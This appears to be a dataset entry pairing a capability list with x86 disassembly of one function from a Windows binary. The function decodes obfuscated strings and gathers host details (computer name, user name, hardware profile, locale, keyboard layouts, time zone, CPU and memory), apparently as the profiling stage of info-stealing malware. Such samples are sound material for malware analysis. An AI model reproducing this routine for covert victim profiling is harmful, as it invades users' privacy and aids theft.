Function at 0x40cac0
Capabilities:
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f0617
push eax
mov eax, 0x1ea0
mov dword fs:[0], esp
call fcn.004b37e0
push esi
push edi
mov dword [ebp - 0x74], 0
mov dword [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x51e400]
movups xmmword [ebp - 0x128], xmm0
mov byte [ebp - 0x118], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x128]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x128], al
inc ecx
cmp ecx, 0x10
jb 0x40cb10
lea eax, [ebp - 0x128]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x148]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 4
xor ecx, ecx
mov word [ebp - 0x4b], 0xfde8
mov byte [ebp - 0x49], 0
movzx eax, byte [ebp + ecx - 0x4b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 2
jb 0x40cb53
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x4b]
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push ecx
push eax
call fcn.004ceb20
mov edi, eax
add esp, 8
mov dword [ebp - 0xb0], edi
test edi, edi
je 0x40e326
call fcn.0040b620
test eax, eax
mov dword [ebp - 0x1a], 0xecedfac9
mov ecx, 0x20119
mov dword [ebp - 0x16], 0xa5f1f0f6
setne byte [ebp - 0x25]
mov dword [ebp - 0x12], 0x95ecbabf
test eax, eax
mov word [ebp - 0xe], 0x95
mov esi, 0x20019
mov edx, 0x5330d8
cmovne esi, ecx
cmp dword [0x5330ec], 0x10
mov dword [ebp - 0x54], esi
cmovae edx, dword [0x5330d8]
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40cbf0
push edx
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402d70
push 0
call fcn.004d6c6b
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x130]
push eax
mov dword [ebp - 0x12c], edx
call fcn.004d7153
add esp, 0x14
mov dword [ebp - 0x35], 0xfaebfedb
mov edx, eax
mov dword [ebp - 0x31], 0xecbabfa5
mov byte [ebp - 0x2d], 0
xor ecx, ecx
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x35]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 8
jb 0x40cc50
push edx
lea eax, [ebp - 0x35]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x34], 0xf1f4f1ca
mov dword [ebp - 0x30], 0xf1e8f0
xor ecx, ecx
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40cc83
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0xf0], 0
movups xmmword [ebp - 0x104], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ccc0
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00402aa0
mov byte [ebp - 4], 5
xor ecx, ecx
movaps xmm0, xmmword [0x51e6b0]
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0xd0], 0
movaps xmm0, xmmword [0x51ddd0]
movups xmmword [ebp - 0x88], xmm0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x98]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x98], al
inc ecx
cmp ecx, 0x1f
jb 0x40cd10
lea eax, [ebp - 0xd0]
push eax
push esi
push 0
lea eax, [ebp - 0x98]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40cddf
mov dword [ebp - 0x48], 0x20019
xor ecx, ecx
mov dword [ebp - 0x2c], 0x400
mov dword [ebp - 0x38], 0xf7fcfed2
mov dword [ebp - 0x34], 0xd8faf1f6
mov dword [ebp - 0x30], 0xfbf6ea
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xb
jb 0x40cd74
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0xd0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40cdd3
lea ecx, [ebp - 0x9a0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cdb7
sub ecx, edx
lea eax, [ebp - 0x9a0]
push ecx
push eax
lea ecx, [ebp - 0x104]
call fcn.00457ee0
push dword [ebp - 0xd0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xf0], 0x10
lea edx, [ebp - 0x104]
mov dword [ebp - 0x1b], 0xf7fcfed2
cmovae edx, dword [ebp - 0x104]
xor ecx, ecx
mov dword [ebp - 0x17], 0xd6faf1f6
mov dword [ebp - 0x13], 0xbabfa5db
mov word [ebp - 0xf], 0x95ec
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40ce14
push edx
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x34], 0xf1f4f1ca
mov dword [ebp - 0x30], 0xf1e8f0
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40ce50
xorps xmm0, xmm0
mov dword [ebp - 0xdc], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0xd8], 0
movups xmmword [ebp - 0xec], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ce90
sub ecx, edx
lea eax, [ebp - 0x34]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.00402aa0
mov byte [ebp - 4], 6
lea eax, [ebp - 0x2fc]
push 0x7c
push 0
push eax
call fcn.004cacb0
add esp, 0xc
lea eax, [ebp - 0x2fc]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40cefc
lea ecx, [ebp - 0x2f8]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cee0
sub ecx, edx
lea eax, [ebp - 0x2f8]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.00457ee0
cmp dword [ebp - 0xd8], 0x10
lea edx, [ebp - 0xec]
mov dword [ebp - 0x36], 0xdbd6cad8
cmovae edx, dword [ebp - 0xec]
xor ecx, ecx
mov dword [ebp - 0x32], 0xecbabfa5
mov word [ebp - 0x2e], 0x95
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x36]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 9
jb 0x40cf30
push edx
lea eax, [ebp - 0x36]
push eax
push edi
call fcn.00402d70
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.0040c560
mov esi, eax
mov byte [ebp - 4], 7
push 0xffffffffffffffc0
mov byte [ebp - 0x45], 0
call fcn.00459470
lea ecx, [ebp - 0x240]
mov byte [ebp - 0x46], al
call fcn.0040c4c0
mov dword [ebp - 0x30], eax
mov byte [ebp - 4], 8
mov al, byte [ebp - 0x46]
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x75], 0
mov byte [ebp - 0x76], al
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x76]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cfa0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0xf4]
sub eax, edx
cmp eax, ecx
jb 0x40e459
cmp dword [ebp - 0xf0], 0x10
lea eax, [ebp - 0x104]
push ecx
cmovae eax, dword [ebp - 0x104]
lea ecx, [ebp - 0x76]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x1f8]
call fcn.00460300
mov dword [ebp - 0x74], 2
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0xec]
cmp dword [ebp - 0xd8], 0x10
lea ecx, [ebp - 0x1f8]
push dword [ebp - 0xdc]
cmovae eax, dword [ebp - 0xec]
push eax
call fcn.0045a730
mov dword [ebp - 0x60], 0
lea edx, [ebp - 0x70]
mov dword [ebp - 0x5c], 0
lea ecx, [ebp - 0x228]
xorps xmm0, xmm0
mov dword [ebp - 0x74], 6
movups xmmword [ebp - 0x70], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x60], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2a]
push eax
call fcn.0045c440
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x24]
push dword [ebp - 0x30]
push eax
push dword [ebp - 0xb4]
call fcn.00460130
lea eax, [ebp - 0x46]
mov dword [ebp - 0x74], 0xe
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x210]
call fcn.0045c440
mov byte [ebp - 4], 0xd
mov edx, eax
push esi
lea ecx, [ebp - 0x160]
call fcn.0045c6b0
add esp, 8
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x210]
call fcn.00402890
mov esi, 0xe
mov dword [ebp - 0x74], esi
and esi, 0xfffffff7
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x24]
call fcn.00402890
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x228]
call fcn.00402890
and esi, 0xfffffffb
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x40d129
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40d11f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e45e
push ecx
push edx
call fcn.004b2a81
add esp, 8
and esi, 0xfffffffd
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov dword [ebp - 0x74], esi
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1f8]
call fcn.00402890
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x240]
call fcn.00402890
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x90]
call fcn.00402890
xorps xmm0, xmm0
mov byte [ebp - 0x19c], 0
lea ecx, [ebp - 0x5a0]
movups xmmword [ebp - 0x1bc], xmm0
movups xmmword [ebp - 0x1ac], xmm0
call fcn.00474d00
cmp dword [ebp - 0x14c], 0x10
lea eax, [ebp - 0x160]
push dword [ebp - 0x150]
cmovae eax, dword [ebp - 0x160]
push eax
call fcn.00474d10
push ecx
lea ecx, [ebp - 0x5a0]
call fcn.00474de0
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x5a0]
call fcn.00474eb0
mov dword [ebp - 0x36], 0xdbd6c8d7
xor ecx, ecx
mov dword [ebp - 0x32], 0xecbabfa5
mov word [ebp - 0x2e], 0x95
movzx eax, byte [ebp + ecx - 0x36]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 9
jb 0x40d1e5
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0x36]
push eax
push edi
call fcn.00402d70
push 0x104
lea eax, [ebp - 0xaa4]
push 0
push eax
call fcn.004cacb0
add esp, 0x18
lea eax, [ebp - 0xaa4]
push 0x104
push eax
call fcn.0040c2c0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x37], 0xebfecf95
xor ecx, ecx
mov dword [ebp - 0x33], 0xbabfa5f7
mov word [ebp - 0x2f], 0x95ec
mov byte [ebp - 0x2d], 0
movzx eax, byte [ebp + ecx - 0x37]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xa
jb 0x40d253
lea eax, [ebp - 0xaa4]
push eax
lea eax, [ebp - 0x37]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x1b], 0xf4edf0c8
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
mov dword [ebp - 0x17], 0xedf6dbbf
cmovae edx, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0x13], 0xecbabfa5
mov word [ebp - 0xf], 0x9595
mov byte [ebp - 0xd], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40d2b0
push edx
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
cmp dword [ebp + 0x60], 0
je 0x40d2e6
cmp dword [ebp + 0x64], 0x10
lea edx, [ebp + 0x50]
cmovae edx, dword [ebp + 0x50]
jmp 0x40d2eb
mov edx, 0x518818
mov dword [ebp - 0x34], 0xbfa5cfd6
xor ecx, ecx
mov dword [ebp - 0x30], 0x95ecba
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x34]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x40d300
push edx
lea eax, [ebp - 0x34]
push eax
push edi
call fcn.00402d70
add esp, 0xc
cmp dword [ebp + 0x48], 0
je 0x40d336
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
cmovae edx, dword [ebp + 0x38]
jmp 0x40d33b
mov edx, 0x518818
cmp dword [ebp + 0x30], 0
je 0x40d34e
cmp dword [ebp + 0x34], 0x10
lea esi, [ebp + 0x20]
cmovae esi, dword [ebp + 0x20]
jmp 0x40d353
mov esi, 0x518818
movaps xmm0, xmmword [0x51e500]
xor ecx, ecx
movups xmmword [ebp - 0x6a], xmm0
mov word [ebp - 0x5a], 0x95
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x6a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x6a], al
inc ecx
cmp ecx, 0x11
jb 0x40d370
push edx
push esi
lea eax, [ebp - 0x6a]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x51e6b0]
add esp, 0x10
movups xmmword [ebp - 0xa5], xmm0
xor ecx, ecx
mov dword [ebp - 0xc4], 0
movaps xmm0, xmmword [0x51e3a0]
movups xmmword [ebp - 0x95], xmm0
mov dword [ebp - 0x85], 0xf1faeded
mov dword [ebp - 0x81], 0xedfac9eb
mov dword [ebp - 0x7d], 0xf1f0f6ec
mov byte [ebp - 0x79], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xa5]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0xa5], al
inc ecx
cmp ecx, 0x2c
jb 0x40d3e0
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0x54]
lea eax, [ebp - 0xa5]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d526
mov dword [ebp - 0x30], 0x20019
xor ecx, ecx
mov dword [ebp - 0x54], 0x400
mov dword [ebp - 0x18], 0xfbf0edcf
mov dword [ebp - 0x14], 0xd1ebfcea
mov dword [ebp - 0x10], 0xfaf2fe
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40d450
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d51a
xor ecx, ecx
cmp byte [ebp - 0x25], cl
je 0x40d4ba
mov dword [ebp - 0x2c], 0xaba9e7
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x2c]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 3
jb 0x40d4a0
lea edx, [ebp - 0x2c]
jmp 0x40d4d9
mov dword [ebp - 0x48], 0xadace7
movzx eax, byte [ebp + ecx - 0x48]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x48], al
inc ecx
cmp ecx, 3
jb 0x40d4c1
lea edx, [ebp - 0x48]
movaps xmm0, xmmword [0x51e060]
xor ecx, ecx
movups xmmword [ebp - 0x6a], xmm0
mov word [ebp - 0x5a], 0x95
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x6a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x6a], al
inc ecx
cmp ecx, 0x11
jb 0x40d4f0
push edx
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x6a]
push eax
push edi
call fcn.00402d70
add esp, 0x10
push dword [ebp - 0xc4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xba8]
push 0
push eax
call fcn.004cacb0
add esp, 0xc
mov dword [ebp - 0xd4], 0x104
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0xba8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movaps xmm0, xmmword [0x51dfd0]
xor ecx, ecx
movups xmmword [ebp - 0x6b], xmm0
mov word [ebp - 0x5b], 0x95ec
mov byte [ebp - 0x59], 0
movzx eax, byte [ebp + ecx - 0x6b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0x12
jb 0x40d571
lea eax, [ebp - 0xba8]
push eax
lea eax, [ebp - 0x6b]
push eax
push edi
call fcn.00402d70
push 0x104
lea eax, [ebp - 0xcac]
push 0
push eax
call fcn.004cacb0
add esp, 0x18
mov dword [ebp - 0xb4], 0x104
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0xcac]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x1b], 0xedfaecca
xor ecx, ecx
mov dword [ebp - 0x17], 0xf2fed1bf
mov dword [ebp - 0x13], 0xbabfa5fa
mov word [ebp - 0xf], 0x95ec
mov byte [ebp - 0xd], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40d5f0
lea eax, [ebp - 0xcac]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x188]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x51e8b0]
xor ecx, ecx
movups xmmword [ebp - 0x93], xmm0
mov dword [ebp - 0x83], 0xbfa5f1f0
mov dword [ebp - 0x7f], 0xbae7fbba
mov word [ebp - 0x7b], 0x95fb
mov byte [ebp - 0x79], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x93]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x1a
jb 0x40d660
push dword [ebp - 0x17c]
lea eax, [ebp - 0x93]
push dword [ebp - 0x180]
push eax
push edi
call fcn.00402d70
push 0x400
lea eax, [ebp - 0x12ac]
push 0
push eax
call fcn.004cacb0
add esp, 0x1c
lea eax, [ebp - 0x12ac]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x51ea80]
xor ecx, ecx
test eax, eax
je 0x40d70b
movups xmmword [ebp - 0x6f], xmm0
mov dword [ebp - 0x5f], 0xe8babfa5
mov word [ebp - 0x5b], 0x95ec
mov byte [ebp - 0x59], cl
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x6f]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 0x16
jb 0x40d6e0
lea eax, [ebp - 0x12ac]
push eax
lea eax, [ebp - 0x6f]
push eax
push edi
call fcn.00402d70
add esp, 0xc
jmp 0x40d75b
movups xmmword [ebp - 0x93], xmm0
mov dword [ebp - 0x83], 0xf1cabfa5
mov dword [ebp - 0x7f], 0xe8f0f1f4
mov word [ebp - 0x7b], 0x95f1
mov byte [ebp - 0x79], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x93]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x1a
jb 0x40d730
lea eax, [ebp - 0x93]
push eax
push edi
call fcn.00402d70
add esp, 8
movaps xmm0, xmmword [0x51e930]
xor ecx, ecx
movups xmmword [ebp - 0x6d], xmm0
mov dword [ebp - 0x5d], 0xbfa5ecfa
mov byte [ebp - 0x59], 0
movzx eax, byte [ebp + ecx - 0x6d]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x6d], al
inc ecx
cmp ecx, 0x14
jb 0x40d773
lea eax, [ebp - 0x6d]
push eax
push edi
call fcn.00402d70
push 0x200
lea eax, [ebp - 0xeac]
push 0
push eax
call fcn.004cacb0
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x14
push 0
push 0
call esi
mov dword [ebp - 0x54], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x40d883
push eax
push dword [ebp - 0x54]
call esi
xor esi, esi
mov dword [ebp - 0x54], eax
test eax, eax
je 0x40d87a
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0xeac]
push eax
mov eax, dword [ebp - 0x2c]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40d822
lea eax, [ebp - 0xeac]
push eax
push edi
call fcn.00402d70
add esp, 8
jmp 0x40d85a
mov dword [ebp - 0x32], 0xbabfb0bf
xor ecx, ecx
mov word [ebp - 0x2e], 0xec
movzx eax, byte [ebp + ecx - 0x32]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 5
jb 0x40d831
lea eax, [ebp - 0xeac]
push eax
lea eax, [ebp - 0x32]
push eax
push edi
call fcn.00402d70
add esp, 0xc
push 0x200
lea eax, [ebp - 0xeac]
push 0
push eax
call fcn.004cacb0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x54]
jb 0x40d7f0
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x114]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x114], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x51df90]
xor ecx, ecx
movups xmmword [ebp - 0x98], xmm0
movaps xmm0, xmmword [0x51dda0]
movups xmmword [ebp - 0x88], xmm0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x98]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x98], al
inc ecx
cmp ecx, 0x1f
jb 0x40d8c0
movzx eax, word [ebp - 0x108]
push eax
movzx eax, word [ebp - 0x10a]
push eax
movzx eax, word [ebp - 0x10c]
push eax
movzx eax, word [ebp - 0x114]
push eax
movzx eax, word [ebp - 0x112]
push eax
movzx eax, word [ebp - 0x10e]
push eax
lea eax, [ebp - 0x98]
push eax
push edi
call fcn.00402d70
add esp, 0x20
lea eax, [ebp - 0x198]
xorps xmm0, xmm0
movups xmmword [ebp - 0x198], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x3a8]
push 0
push eax
call fcn.004cacb0
add esp, 0xc
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x128]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x3a8]
push eax
movups xmmword [ebp - 0x128], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm1, dword [ebp - 0x3a8]
xor ecx, ecx
cvtdq2ps xmm1, xmm1
mov byte [ebp - 0x59], 0
movaps xmm0, xmmword [0x51dee0]
divss xmm1, dword [0x51c978]
movups xmmword [ebp - 0x69], xmm0
xorps xmm1, xmmword [0x51dec0]
movzx eax, byte [ebp + ecx - 0x69]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x69], al
inc ecx
cmp ecx, 0x10
jb 0x40d9a5
cvttss2si eax, xmm1
push eax
lea eax, [ebp - 0x69]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x19], 0xfed7c495
mov dword [ebp - 0x15], 0xfee8fbed
xor ecx, ecx
mov dword [ebp - 0x11], 0x95c2faed
mov byte [ebp - 0xd], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0xc
jb 0x40d9f0
lea eax, [ebp - 0x19]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x51e150]
add esp, 8
movups xmmword [ebp - 0xa7], xmm0
xor ecx, ecx
mov dword [ebp - 0xc8], 0
movaps xmm0, xmmword [0x51e430]
movups xmmword [ebp - 0x97], xmm0
mov dword [ebp - 0x87], 0xcff3feed
mov dword [ebp - 0x83], 0xfafcf0ed
mov dword [ebp - 0x7f], 0xedf0ecec
mov word [ebp - 0x7b], 0xafc3
mov byte [ebp - 0x79], 0
nop
movzx eax, byte [ebp + ecx - 0xa7]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0xa7], al
inc ecx
cmp ecx, 0x2e
jb 0x40da60
lea eax, [ebp - 0xc8]
push eax
push 0x20019
push 0
lea eax, [ebp - 0xa7]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40db55
movaps xmm0, xmmword [0x51e5d0]
xor ecx, ecx
mov dword [ebp - 0x30], 0x20019
mov dword [ebp - 0x54], 0x400
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0xf8f1f6
movzx eax, byte [ebp + ecx - 0x6c]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x6c], al
inc ecx
cmp ecx, 0x13
jb 0x40dac5
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40db49
mov dword [ebp - 0x1b], 0xfcf0edcf
xor ecx, ecx
mov dword [ebp - 0x17], 0xf0ececfa
mov dword [ebp - 0x13], 0xbabfa5ed
mov word [ebp - 0xf], 0x95ec
mov byte [ebp - 0xd], al
nop
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40db20
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
push dword [ebp - 0xc8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x1c0], 0
lea eax, [ebp - 0x1e0]
push eax
movups xmmword [ebp - 0x1e0], xmm0
movups xmmword [ebp - 0x1d0], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x1b], 0xbfcacfdc
xor ecx, ecx
mov dword [ebp - 0x17], 0xf1eaf0dc
mov dword [ebp - 0x13], 0xbabfa5eb
mov word [ebp - 0xf], 0x95fb
mov byte [ebp - 0xd], 0
nop
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xe
jb 0x40dba0
push dword [ebp - 0x1cc]
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402d70
add esp, 0xc
mov dword [ebp - 0x280], 0x40
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40dc37
mov dword [ebp - 0x18], 0xa5d2decd
xor ecx, ecx
mov dword [ebp - 0x14], 0xbfeababf
mov dword [ebp - 0x10], 0x95ddd2
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40dc00
mov ecx, dword [ebp - 0x278]
mov eax, dword [ebp - 0x274]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x18]
push eax
push edi
